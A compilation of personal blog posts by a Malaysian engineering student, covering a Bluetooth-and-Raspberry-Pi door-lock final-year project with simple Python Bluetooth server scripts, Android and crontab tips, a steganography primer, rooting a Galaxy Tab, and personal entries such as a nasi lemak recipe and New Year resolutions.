1. Can I know the price rate for the service? How it depends on the size, weight of material used, complexity…any other applicable etc
2. What is the maximum printable size?
3. Which materials do you guys provide?
4. How to make order? Expected delivery period?
Thanks
The reply:
Hello 1. For 3D printing targeted towards the consumer market, the prices can range from RM5 all the way to RM1,000. For our company, Makerzone, we charge based on weight and time taken (Rm30 per hour) to print an object. The more complex the object is, the longer time it takes to print it so higher cost too. However, we do have substantial discount for students. 2. For our printers currently, our maximum printable size is 20cm x 20cm x 20cm volume. ABS is limited to 10cm x 10cm x 10cm to prevent warping. 3. We provide both ABS and PLA filaments. Honestly after selling products the past few months, the type of filaments that we use do not matter much to our consumers. We also provide post-processing for customers if they want such as polishing the printed object which will make it looks smooth and shiny, painting and chroming. 4. Customers can make orders through our online platform where we host our marketplace of products. We own three websites currently but they are all still under development and not fully functional yet. Please feel free to check them out too. www.makerzone.net www.makerzone.com.my www.makerzone.sto.my Please do like our page below too! https://www.facebook.com/makerzone It is good that you have a sketch of your design, it makes it so much easier for us to provide a quotation for you. Therefore, you could drop an email to mak@makerzone.net together with your sketchup design for him to provide validation and quotation. Expected delivery period is within 5 working days.
Over the time, while writing and testing the Android App, I came across some issues which are not very common thus making them harder to be reached from search engines like Google. It’s very troublesome, especially when they are related to something new, something that was just recently released or updated. When it comes to that, the best way to battle the issues is by putting my own questions on the webs and wait for them to be answered. Believe or not, you can get few good responses just within one day.
I have gathered some of the forums I normally put up my questions at below:
I have fixed the server scripts and simplify the Android App, enables it to successfully connect to the server and send some data. I tested on Ubuntu and Rpi Raspian, and it works fine on both.
Thanks to Zul, I was also able to add on QR scan function which is now able to :
1. Scan QR code that point to a http URL ended with “png” Other form of links are simply ignored by the App. Only the link that ended with “png” (hence, png image file) are actually downloaded to the phone. 2. Download the png image file automatically to the gallery The download process is done in the background (Android Asynctask). However, the actual image is also displayed on the App so that the user does not need to be prompted to the gallery to view the image.
The png file extension is important as it is the format that the CMS uses (on webcam photo capture during new user registration). Hence, it will be the format that the Steganography Algorithm will be applied on. The difference between JPEG, GIF and PNG are discussed here : Link.
During the last meeting, Mr Cheong showed us the sample of the electronic door lock from the market. We were informed with some useful information on the regulation of the general door lock (before they can be marketed) here in Malaysia. The sample is a RFID based electronic door lock that also comes with the manual keyhole for the backup. It is actually a better idea to have the similar basic design for our project, albeit it comes with a higher cost.
The sample looks good, and I hope we can build something similar for our demo as well.
So, we had ourselves a barrier : the 3D printing service can only print at most 20cm X 20cm in size. Our electronic lock itself is already about 19cm, which tells us that we can’t print the whole previous design in one shot. What we can do is to print them part by part and combine them together with screws or glue.
So, I gave another shot on how it will sorta look like if we were to go that way. You can get the Sketchup file here : Second Design
First is add a SHEBANG line on top of your python script #!/usr/bin/env python
2. Make your script executable with chmod a+x
3. Open crontab with sudo crontab -e
4. Add the following line. Make sure to include the full path to the script (MyScript.py is the name of your script) @reboot python /home/pi/Desktop/MyScript.py &
5. To save these changes click “CTRL-X”, then “Y” and finally “Return”. You should now be back at the command prompt.
<div style="background-color: white; border: 0px; margin: 0px 0px 7px; padding: 0px; vertical-align: baseline;">Jar Mismatch Found 2 versions of android-support-v4.jar in the dependency list</div>It means we have two jar files, one from the project and the other one from the included library. Delete the one in the current project folder (/libs). As long as the library stays included, this should be fine.
I told Aliffah that there are two ministers that I believe are capable of bringing our nation forward as our former PM Tun Dr Mahathir did. They are his son, Mukriz and this guy, KJ.
Personally, I don’t like him, but among the crop of ministers that we have now, he is the one that is most capable of leading the country, perhaps, in the future. Here is why: excerpts of a BH interview.
Khairy: Some BN leaders ‘syok sendiri’ online
Umno Youth chief Khairy Jamaluddin has lamented that BN’s social media strategy has been ineffective as some BN leaders had the tendency to be ‘syok sendiri’ (self-indulgent) in their online engagement. “I see many BN leaders - forgive me for saying this - even though they are active on social media, they only speak to their followers, not to outsiders or independents.
“They think that their own sentiment is the national sentiment. That is wrong. “That proves that our social media strategy has been ineffective. (BN leaders) speak to their own people and ‘syok sendiri’ while the opposition try to reach out to the people in general,” Khairy was quoted as saying in a Berita Harian interview today.
He also acknowledged that attacks against the families of politicians on social media were unavoidable. “As a politician, I advise my family to live moderately. When we are chosen as a politician, a minister or the likes, our families have to play their role. “If we want to live freely, then do not be a politician,” he was quoted as saying.
Khairy said in the interview that the rakyat’s anger over the price hikes is real and urged leaders not to make statements that will hurt the rakyat’s feelings. He added that the government should heed former prime minister Dr Mahathir Mohamad’s (right) advice that it should cut more costs instead of increasing prices. When asked whether the government’s current cost-cutting measures were enough, he said more was to come and volunteered to have his own pay docked.
I’m currently working on my final year project (I just did my first part’s presentation this morning, which was terrible, in a way) which involves a technique called “Steganography” or Stego, for short.
The purpose of Stego is similar to Cryptology, in a way that it is used to protect the valuable data from unauthorized access. However, there is a huge difference between the two. Encryption techniques apply specific algorithms to the valuable data (plaintext) to produce encrypted data (ciphertext).
On contrary, Stego focuses on hiding the valuable data (hidden message) within another non valuable data (cover). It’s about “hiding the data in a plain sight”. In most usage, Stego technique is designed so that the non authorized user does not even realize the hidden message even exists at the first place.
There are various type of medium use for cover. Most notably is image. But lets start with some text files example first.
Lets say, I want to save my password for 2 different websites that I have registered to. I create a text file, naming it visited_countries.txt suggesting to everyone that this file lists all the countries that I have visited. In the files, I have these following content: indonessia japan korea usa france nigeria bangladesh india china
The passwords that I stored in the file were ijkufnbic and naosrianh.
Anyone else who opens the file realizes that the file is merely listing the countries and is not of important. But because the fact that I know there is a hidden message[1] and also the algorithm used[2], I am able to get my passwords from this list.
Hidden message, in a plain sight.
p/s: the first and the second characters of each country.
My first encounter with Arduino was last year, when me and Ifa were working on our Embedded System's assignment. Our task was to design a Bin-to-Dec converter, with 3 7-segment displays. I didn't keep much records on the works done, but I did take this video after we unbox-ed the Arduino.
<div class="separator" style="clear: both; text-align: center;"></div> It started a few months ago when I was doing my intern-ship. I am (no offence to Alex) always being picked to follow my boss around for meetings and other out-of-office works, which normally required me to be there at the office very early in the morning. He basically introduced me to the Johara Pagi Era session, saying he listens to them every day. It’s aired around 715 AM in the morning on ERA.fm.
A good laugh to start a day.
They actually have a page archiving all their shows. Just perfect :D
I have posted earlier on how to run a simple serial server using Python 2.6 and PyBluez. Python 3.3 has natively available sockets class written for Bluetooth communication, eliminating the needs for PyBluez. I have not tested it yet myself, but if I’m not mistaken the native Bluetooth socket is only supported on unix based OS. So, if you’re on Windows, my guess is best to stay with Python 2.6 and PyBluez.
A sample script for the server is as below:
””“ A simple Python script to receive messages from a client over Bluetooth using Python sockets (with Python 3.3 or above). ””“
import socket
hostMACAddress = ‘00:1f:e1:dd:08:3d’ #The MAC address of a Bluetooth adapter on the server. #The server might have multiple Bluetooth adapters. port = 3 #3 is an arbitrary choice. It should match the port used by the client. backlog = 1 size = 1024 s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM) s.bind((hostMACAddress,port)) s.listen(backlog) try: client, address = s.accept() while 1: data = client.recv(size) if data: print(data) client.send(data) except: print(“Closing socket”) client.close() s.close()
The scripts was not written by me. The original page here discussed the difference between Python 2.6+PyBluez and native Bluetooth socket in Python 3.3.
Here’s an example of how to use the native Bluetooth socket to send a few command bytes to control the speed and direction of a Bluetooth controlled car.
My research on Python ended with Python 2.6 and PyBluez. If you haven’t noticed, there are newer version of Python (currently on version 3.3) but the later versions are not compatible with PyBluez. My so-far googling skills got me to the conclusion that this is the better solution, albeit temporarily. Python does not have Bluetooth native library before version 3.0 (if I’m not mistaken) and while they have added them now, the documentations were not really thorough. PyBluez, on the contrary, is only supported for Python until version 2.6. Since I have to do some demonstration with Python and Bluetooth, this is the easier solution. I will get back to the Python native Bluetooth library later on.
This post will help you to do 2 things, assuming you’re on Windows:
1. Installing Python 2.6 and PyBluez 2. Run a simple Bluetooth serial server script
Installing Python 2.6 and PyBluez 1. Get them both here : Python 2.6PyBluez 2. Run the Python installer first, followed by the PyBluez Installer
Run the Bluetooth serial server 1. Copy the whole code below into a file named BluetoothServer.py 2. Save the file in the same folder where Python was installed previously 3. At this point, turn on your Bluetooth, set for an incomming connection (set a listening port) and pair with the other device (client) 4. Start the Windows command prompt. Navigate to the folder where Python was installed 5. Run the script : >>python BluetoothServer.py 6. Server is active and ready for an incoming connection : “Waiting for connection on RFCOMM Channel 1”
The simple server is based on the PyBluez examples here.
# file: BluetoothServer.py # desc: Simple Bluetooth Serial Server (Python 2.6 and PyBluez) from bluetooth import * server_sock=BluetoothSocket( RFCOMM ) server_sock.bind((““,PORT_ANY)) server_sock.listen(1) port = server_sock.getsockname()[1] #change UUID accordingly uuid = “94f39d29-7d6d-437d-973b-fba39e49d4ee”
#start the listening server advertise_service( server_sock, “BluetoothServer”, service_id = uuid, service_classes = [ uuid, SERIAL_PORT_CLASS ], profiles = [ SERIAL_PORT_PROFILE ], ) print “Waiting for connection on RFCOMM channel %d” % port #accepting connection client_sock, client_info = server_sock.accept() print “Accepted connection from “, client_info #catch data and display. #wait for the client to cut off the connection try: while True: data = client_sock.recv(1024) if len(data) == 0: break print “received [%s]” % data except IOError: pass
The Android App (client) for sending in data is discussed separately on another post. The next step is to have this simple server ran on the Raspberry Pi and adding in some output manipulations using the Pi’s GPIO pins.
Update: Here is a good read on the same topic. Link
Here's a good video to get started with Raspberry Pi's GPIO. It includes the installation procedures, among others. The scripts were pretty simple, but it's a good start nevertheless.
<div style="text-align: center;"><div style="text-align: center;"></div><div style="text-align: left;"> </div><div style="text-align: left;"> </div><div style="text-align: left;">Here’s a video on using the Pi’s GPIO for a Keypad based Access Control. </div></div><div style="text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/-ukI2B10gEQ?feature=player_embedded' frameborder='0' /></div><div style="text-align: left;"> </div>
I am now into my 2nd last Trimester in MMU, where I have begun my final year project (FYP). Me and my friend, Jeeva are partners, currently under the supervision of Mr. Cheong (a great lecturer, one of the best I’ve known). Our project? A phone based Access Control system, based on UniKey.
UniKey is an Access Control system which replaces traditional standard lock and keys with your smart phone. They haven’t actually launched their product yet. UniKey makes use of the Bluetooth technology (low cost, low power, widely supported, readily available) to communicate with the electronic door operator. Initially, our project consist of 2 essential parts:
<ol><li>A phone App to that store the ‘key’ and response to the electronic door operator via Bluetooth. Plus, some key managements as an added feature. Android platform as a start.</li><li>The electronic door operator which communicates with the phone App via Bluetooth and responsible for the control that locks/unlocks the door. The development will be done using the popular Raspberry Pi before we move on to construct our custom circuit board.</li></ol><div>We might actually want to enhance further when we have some basics working. I am in charge of the software development part of the project while Jeeva will do most of the hardware part. The Iphone App for the Unikey looks like below (they haven’t developed an Android App yet);</div><div> </div><div class="separator" style="clear: both; text-align: center;"></div><div> This week marks the 3rd week of our project development stage and I am still at the stage of “learning” and “figuring out”. I had my first touch on Android App a year ago while helping a friend on his project, but those were merely introductory. Android Bluetooth API is something very new to me and with the lack of hardwares to test, I ended up progessing pretty slow. For a start, I found out after 2 weeks that most Bluetooth adapters on Samsung phones are not reliable which really is a headache because I only have Samsung devices available (Note 2, Tab). To summarize, these are what I have done in the past 2 weeks and what should I be doing in the next few weeks. This is based on MMU Trimester calendar, where I started the project on Week 2, not on Week 1.
<ol><li>Week 2 : We were briefed on the project. I was assigned to write a 10 page of Literature Review and to write a simple Android App to get me familiar with Eclipse and Android GUI. Simple Android App with basic GUI is completed.</li><li>Week 3 : Demonstrate the simple App to Mr. Cheong. Next, I was assigned with a new task to write another App to simply send a file to another phone via Bluetooth. I went as far as to able to discover other available Bluetooth device, but unable to pair and hence, unable to connect. On the other hand, Literature Review Draft 1 is submitted. Mr. Cheong added a few points of suggestion to add into the Literature Review.</li><li>Week 4 : The App is able to connect and pair, but crashed at run time a few seconds afterwards. Meeting with Mr. Cheong went well although I wasn’t able to demonstrate a fully functional app. He asked for the submission of the edited Literature Review during the next meeting. I was asked to write a fully functional App that is able to send a file to a Bluetooth device (this time, probably a computer with a Bluetooth dongle) as well as some simple server program (written in C or Python) which can read the file.</li></ol><div>As I am not really familiar with Android development as yet, this is quite a tough project to work on. As Mr. Cheong described, I should be doing head banging most of the time while working on the project. However, I am pretty excited. I love challenges. :-)
By the way, our work will not entirely be published here as they are belong to MMU, per their policy. In fact, I will not be posting any of the works here. However, I have promised myself I will keep posting something on the progress of the project and probably some interesting tutorials and articles that I found useful.
I need that practice in writing. </div></div><div class="separator" style="clear: both; text-align: center;"></div>
I am now into my final year of engineering study. I admit, I'm lagging behind of most of my peers. However, I'm living my life as much as they do, feeling blessed despite all of the shortcomings.
I'm currently doing my internship at a small local company named Tri System Technology. It has been a month and a half....and I'm enjoying it :) I discovered myself as a person who dislikes being idle, so sometimes having no tasks to complete day-to-day bored me easily. However, most of the time I'm pretty occupied. I'm here with another guy from MMU who is also my friend, Alex.
The company mainly involved in supplying and installing ICT solutions to newly built buildings which are offered through tender contract, mostly from TNB, TM and JKR. Lately, they are now into bigger projects such as MRT and Matrade.
For now, me and Alex are involved in MRT projects. In this project, Tri System is a subcontractor of Apex Communication and Johnson Control in Electronic Access Card (EAC) installation. Simply put, Tri System as subcontractor, are the one to do all the works. Me and Alex have been to the Interface Meeting since the beginning and I am proud to say that we are quite heavily involved in this project. The Interface Meeting enlightened me on how these people manage between a number of parties to make progress in the project. I'm glad having the opportunity to learn how they conduct the meetings, scheduled the work progress and coordinated between them. It is pretty much like our engineering group assignment, but this is on a huge project.
Cable routing, door schedules, those are the term we learned so far. I can't wait for more. This has been quite a good experience for me.
I normally use this (http://pdfmyurl.com) to convert a single file to convert a single page to pdf file. It helps in keeping the original structure of the page intact without any kind of distortion of any sort, just the way we view it from any browser.
Now, what if I want to convert the whole website to a pdf file, with all the link in tact? This is especially useful for tutorial sites, as I sometimes love to have them available offline.
After looking through the Net, this is the best method I found.
Adobe Acrobat.
Once you have it installed, press the press “SHIFT + CTRL + O” or click on the Create PDF > From Web Page button. A menu opens up that is asking for a url and offering several options on how to proceed. Have a look around.
<div class="separator" style="clear: both; text-align: center;"></div> You can specify the depth levels of the initial page where you are converting from. It is normally a good idea to stay on the same server and even on the path.
My second smart phone, Garmin Asus A50 has probably the best GPS chip of all the smartphones out there. That’s the perk from Garmin, you can say. Now that Garmin-Asus colloboration has ended and no new phones of similar hardware will be produced in the near future. So, I’m practically stuck with a low end A50, first launched on June 2010, almost 2 years ago. The hardware limits the capability to upgrade the Android OS. Hence, only up to Eclair (2.1) is supported.
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">If you used Garmin GPS device before, this would be familiar to you</td></tr></tbody></table> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: left;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">Comes with free holder for the car as well</td></tr></tbody></table> <div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/HgeBxacVB-w?feature=player_embedded' frameborder='0' /></div><div class="separator" style="clear: both; text-align: center;"> </div><div style="text-align: left;">It’s hard to call this a phone, it lags heavily sometimes. I would rather call it a GPS with phone capabilities. That’s one of the reasons the phones are still in the market anyway. The built in GPS chip is that good. Not to mention that the phone comes with pre-installed Garmin app, similar to the app found in any Garmin GPS device.</div> The specs: QualComm 7227 Arm 11, 600Mhz 256 MB ROM, 256 MB SDRAM 4GB Extendable Flash Qualcomm GPSOne (Here is why it’s one of the best GPS chip on smartphone : LINK)
Easily rooted. Very hardware limited. Not much you can tweak with this one, but definitely worth keeping.
Well, Ipish got a Samsung Galaxy Tab 10.1 from her dad a few months ago. She kinda use it not that often, probably not much during lecture hours. Well, I’d like her to make use of it more. So I google-ed up for all the drivers needed to make it easy for PC-to-Tab transfer (that’s one of the reasons she rarely use it). It turned out that the drivers are easily available. It is almost plug-and-go actually. So the problem probably lies on her desktop computer, which I’ll have a look later.
Next on the list is to root the Tab so she can use all the extra features on the device. Unrooted devices lack in permissions, hence lack of special features i.e. backing up sensitive data, exploring system folders etc. I make use of the tutorial here (LINK). In fact, I rewrite the whole thing on the page here, just because the ads annoyed me.
First, the requirement. 1. This guide is only for P7510 (Wifi) version. 2. Need a windows computer 3. Windows driver for Galaxy Tab 10.1 (LINK - you gotta wait for a few seconds for download link to appears) 4.Download Odin3 (a Windows tool to update Android system) LINK
Once we have all the files downloaded, we’re ready to go: 1.First we need to put the Tab into ‘download’ mode. Turn off the Tab. Then, press the Power button and Volume Down button simultaneously. Right after the Samsung Logo comes out, let go of both buttons immediately. Then, hit the Volume Up button (choosing the download mode on the right), we should be in the ‘download’ mode.
2. Next, we run the Odin3 application. Run the Odin3.exe (of whatever version you have) Tick on ‘PDA’ Click ‘PDA’ Choose ‘recovery-cwm_4.0.0.4-sam-tab-10.1.tar.md5’ (from the same folder of Odin3.exe) Hit start
3. Then, copy ‘Samsung_Galaxy_Tab_10.1_root.zip’and save it to SDcard, preferably in the root folder i.e. sdcard/
4. Next, we put the Tab into ‘ClockWorkMod’ recovery Turn off the Tab. Then, press the Power button and Volume Down button simultaneously. Then, hit the Volume Down button (choosing the ‘ClockWorkMod’ on the left) Then, hit the Volume Up button. We are now in ‘ClockWorkMod’.
5. Now we’re ready to root Choose “install zip from sdcard” using Volume Up or Down button. Hit the Power Button to activate it. Choose the ‘Samsung_Galaxy_Tab_10.1_root.zip’ (that we copied into SDcard earlier) Hit the Power button and hit ‘yes’.
When that is done, reboot and we should have fully rooted Galaxy Tab 10.1
Note: The Galaxy Tab 10.1 (P7510) has 1GHz dual-core Tegra 2 processor and 1GB RAM. If I were to buy an Android tablet later, I’ll make sure I have something that matches that :P
You guess what? It has been 2 years since this <div class="separator" style="clear: both; text-align: center;"> </div>Who could have thought I have liked this girl for 2 years now :-)
I never regret being honest at that time.
I love you, Nurul Aliffah Ali. Happy 2 Years
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">She, being “gedik” as usual</td></tr></tbody></table>
Today we went to Seri Kembangan Giant Store and measured some stats about our body. Yeah, we learned that we are fat beyond help. So, we decided to put the stats here and put some targets to achieve. We’ll give it a month.
Sigh. Another project not even started (don’t talk about finishing it here).
This is supposed to be a forum where MMU Faculty of Engineering (FOE) students can share stuff (tutorial answers, past assignment resources etc). We do have a facebook group for such function, but over the time things will get real disorganized and being me, I just can’t stand that.
The group was orignally has 10 members which were all my former classmates, but now it’s consistently growing over these 3 years. Hopefully it will stand benificial to them.
MMU IEEE Student Branch approached me with the idea of continuing this project under their name. I am willing to, but not by myself, no. If there are some people who are willing to spend times on this, I’d be willing to help out.
I asked a friend so that I can join in any project that involves some programming. Programming is a skill set that needs to be nurtured as always as possible, hence why. He introduced to me, sort of, the android developement stuff and I am pretty much, currently, hooked up to it.
Pretty neat stuff. I never actually code Java before. Everything is new to me. This is going to be tough, and I’ll just have to like it. I’ve been doing some readings and tried some examples. I’m not sure how I put it, but as far as I have discovered, there are tonnes of people out there who are very much experts in this field. When you feel like a newbie in any skills, you feel dismotivated. Thanks god that this is Malaysia. Not that many people are good in this stuff, just yet. But I could be wrong. Heck I think I’m wrong. But what the heck, this stuff are interesting, I must say.
I applied for a part time job at the nearby petrol station and was accepted. My first day starts this Saturday. Currently, it’s 3 days per week job, from 3pm - 11pm. Yes, it’s 8 hours job. I’m not sure yet how much I’m making, but I really do hope that this will give me some motivation to take care of my valueable time each day of the week. And I do hope this will cover my living expenses.
I end this with a quote: Chances are like playing poker. You will get a hand as soon as you fold.
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">cold windy rainy day</td></tr></tbody></table> Step 1. Make yourself a cup of your favorite drink, a hot coffee, a hot milo? Step 2. Open a web browser with 2 tabs and put the sound volume a bit high Step 3. Go to www.rainymood.com on one tab Step 4. Go to www.endlessvideo.com/watch?v=HMnrl0tmd3k on the other tab Step 5. Sit back, relax, take a sip, close your eyes and enjoy
Although this article (not written by me though) is about marriage, it is very applicable to relationship. Okay, except the Sex Problems part. Read the whole thing. This is really a good way to sometimes open up our minds on some things that matter, especially when we’re having a difficult time in relationship. Read and reflect, tell me what you think.
1. Financial Problems For the most part, it is the lack of open communication about money problems that jeopardizes a marriage more than the financial problems alone. Everyone has financial issues concerning bills, debts, spending and budgets. How a couple deals with those issues can make or break a relationship.
<div class="separator" style="clear: both; text-align: center;"></div>2. Communications Problems If a couple has communication problems prior to marriage, those problems are likely to get worse after tying the knot. It is important that both partners are able to discuss every aspect of married life openly and on a regular basis. A marriage without two-way communication will not last long.
3. Family Problems Family relationships with children, parents, in-laws, siblings and step-children are all sources of marital problems. Raising children increases stress in the home and can cause minor differences of opinion to become major rifts in a relationship. Discretion is the better part of valor when it comes to family and marriage.
4. Sex Problems Sex is an important part of marriage and the source of many marriage problems. Every marriage requires the act of consummation by sexual intercourse. Failure to consummate a marriage or problems with sexual frequency, quality, and infidelity are all common reasons for marriage failure and divorce.
5. Friend Problems Close personal friends of either spouse do not always make the transition to friends of the marriage. Some relationships with friends can be toxic to the marriage if they insert themselves between spouses. A good friend will enhance a married couple’s relationship. People who try to break a marriage apart are not quality friends.
6. Addiction Problems Drug, alcohol and gambling abuse are all forms of addiction that are very detrimental to a marriage. Even without the presence of physical or verbal abuse, the behavior of an addicted spouse can make normal married life impossible. Addictions are also a common source of money problems in a marriage as well.
7. Abuse Problems Abuse of any kind is never acceptable in a marriage. Physical and verbal abuse are all too often the causes of a marital break-down. Sexual abuse and emotional abuse also fall into this category. One partner’s desire to degrade their spouse in an ongoing pattern of abuse will surely cause a marriage to fail in time.
8. Personality Problems There are many kinds of personality traits that can make a couple incompatible and unable to reach agreement in matters concerning sex, intellect and emotion. Partners that have compulsive needs to please or belittle can make honest communication impossible. Negative personality traits make a long-term relationship unbearable and divorce a real possibility.
9. Expectation Problems The ability to adapt to changes in married life often depends on having realistic expectations about a spouse and the marriage relationship itself. It is common for disillusionment to set in when romantic or other unrealistic expectations are not met. Over time, unmet expectations can generate enough dissatisfaction to make meaningful compromise impossible.
10. Time Problems <div class="separator" style="clear: both; text-align: center;"></div>Work and home schedules are not always compatible. Time spent apart and time spent together are equally important for maintaining a good married relationship. When time is used in a balanced way, it results in opportunities for growth and harmony. A lot of time spent alone without a corresponding period of quality time spent together puts a lot of stress on a marriage.
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">To err is human. But to forgive, is divine. Love ya.</td></tr></tbody></table>
Ini bukan saya buat. Saya buat lagi huru-hara, haha
Oh yeah it’s the semester break and I pretty much have nothing else to do. I didn’t go back to Kemaman this time. I thought I could stay here in Bangi for a while because practically I wasn’t living here during the study weeks. I wasn’t busy with anything in particular, just filling up my free time learning stuff I wanted to learn during the study weeks. Websites, land buying, home buying, small business, all those future shit.
I promised to the princess that I’ll make her Nasi Lemak and go picnic with her somewhere with it. I tried out on one of the recipe I found online and what can I say……I can cook! (self confident level is 120% at this moment). I just need to put less onion…..and use Tamarind Juice, not the Tamarind Paste all the way…
Here is the recipe: Bahan untuk nasi :- @ 2 cawan beras @ 1 cawan santan n 1 cawan air( jun guna 1/2 cwn santan pekat n 1 1/2 cwn air) @ 1 helai daun pandan - disimpul @ 3 hirisan halia @ secubit garam
Bahan untuk sambal :- * 6 sudu besar cili kering mesin * 4 ulas bawang merah -ditumbuk * 2 ulas bawang putih -ditumbuk * 1 biji bawang besar -dihiris * segenggam ikan bilis (dibasuh, separuh darinya ditumbuk) * sedikit air asam jawa * sedikit belacan * garam n gula
Bahan sampingan lain :- Ikan bilis goreng, telur rebus dan timun.
Cara-cara 1.Campur semua bahan untuk nasi dan masak seperti nasi biasa. 2.Tumis bawang besar, masukkan bawang2 yg ditumbuk, cili mesin, belacan dan ikan bilis yg ditumbuk..hingga sedikit garing dan pecah minyak. 3.Masukkan air asam dan separuh lagi ikan bilis yg sudah dibersihkan tadi. 4.Masukkan garam n gula. Masak sehingga agak pekat.
p/s : Princess, this is for you. Don’t tell me I don’t work on anything for you, ever! :P
I had this silly argument with one of my close friend the other day (silly, since it brings us to actually nowhere) about why would people be making new year resolutions. Well, my friend hate it. To him, it brings no good. To him, you just f*cking walk the talks. Actions speak louder than words. Well done is better than well said. Et cetera.
I didn’t say he was wrong.
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">To celebrate is to have fun</td></tr></tbody></table>I couldn’t be wrong to say many people failed to keep their resolutions last year. And also the year before and the years before. Hehe. But on the other side of the coin, there should be many people who actually accomplished just about everything they had on their list. So, I ask myself, why being pessimistic?
And then, people asked, why would you need to wait until the 1st of Jan to do something, or to stop doing something? Well you don’t have too!
Having a list of your new year resolutions doesn’t mean you have to justify yourself to anyone why do you wanna have one, why you failed to keep the previous year’s, why not putting something else on the list and so forth. Why bother? No one actually really care, really! Nevertheless, putting a “be a top scorer in every subject” on the list without actually touching the books doesn’t make any sense at all, does it?
The idea is (okay, my idea, actually) is to keep it simple, to keep it do-able, to keep it specific and to have fun, enjoyable. I never made a single list of new year resolutions ever in my life before and this year, I beg to differ. I guess my number one new year resolution is already concluded! - making the list.
Raf's NYR
1. Make a list. Done (yeay me! :P)
2. Losing some more weight, hopefully about 70kg or less. Currently at 73kg. (See, that’s so do-able!)
3. Fasting for at least twice per month. InsyaAllah
4. Getting a CGPA of 3.5 or more (currently at 3.3) And getting her a 3.2 or more. Dudette, embrace the free tuitions! :P
5. Paying at least half of my debts that I owe to my friends using my own pocket money. I have the list. Basketballs and all, I could’t resist the temptations to join the tourneys and most of the time, friends didn’t mind paying for me first. What a life, kan?
6. Writing at least twice per month, with or without a pc. Hehe
7. Remembering all my lovely sisters’s, brother’s, mom’s and dad’s birthday. I’m never good with numbers, really.
8. Running a marathon!
9. Donating blood at least one! The red book is so empty!
10. Have a game where I score 20 points or more.
Okay, no 10 is the least do-able of all but it’s still not impossible. One teh tarik if I cross it off the list. Any takers?
P/S : I’m just kidding with no 1 Hahaha. Happy new year. God bless us all with happiness in this life and hereafter.
I need to start doing my assignments and catching up to my studies. I just hate it when I spent too much time on having dinner with my guys. No offence, but it’s kinda waste of time sometimes. 2 hours for dinner every night, sigh…there are truckloads of works to do..
Anyway, have u guys heard about “baby elephant syndrome”? My Electronics 2 lecturer, Dr. Marinah brought it up this morning in her lecture. Quite a good thing to share :) So, have u guys heard about it?
No? lemme explain.
Imagine a circus, the usual fun fare we have around. In there, lived a baby elephant. This baby elephant has been living in captivity since it was born. During the captivity, it is tied to a small tree with a thin rope every night. Due to its nature to roam free, instinctively the baby elephant tried with all its might to break the rope but it wasn’t strong enough at the time to do so. For years it tried and tried until at some point, it realized its efforts are of no use and it finally gave up and stopped struggling. After that point, the baby elephant never tried again for the rest of its life.
Years later when it grew bigger, it was still tied to the same small tree with the same thin rope. It could easily free itself by uprooting the tree or breaking the rope but because its mind has been fully conditioned by its prior experiences, it never made the slightest attempt.
Poorly, the powerful gigantic elephant has limited its own present abilities based on its thought on its limitation of the past - the Baby Elephant Syndrome. <div class="separator" style="clear: both; text-align: left;"></div> <table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: left;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">yes yes yes</td></tr></tbody></table>We, as human can be exposed to the same condition except for one thing - we could choose to re-discover our own abilities and believe in ourself and break free from our thoughts on the limitation of the past. Be honest to yourself, when we put our mind into it, there are many things we might have wished to do in the past but at that time, we were limited by external factors of some kind. We stumble into things in daily life and for a few seconds, we wanted to do something. Seconds later, comes the thought “…I can’t do this because in the past..” - you realize you have been in the similar situation in the past. That’s it.
Now that you have heard about the Baby Elephant Syndrome, take some time to find out your list of reasons why you are not having or doing what you want.
Are any of them merely excuses rather than legitimate reasons? Is any of them just an elephant rope holding you back?
P/S : It’s an analogy used by Dr. Marinah to persuade us to realize that Electronics subject wasn’t that difficult. That’s true. It is not naturally difficult, you see. But, when we don’t study…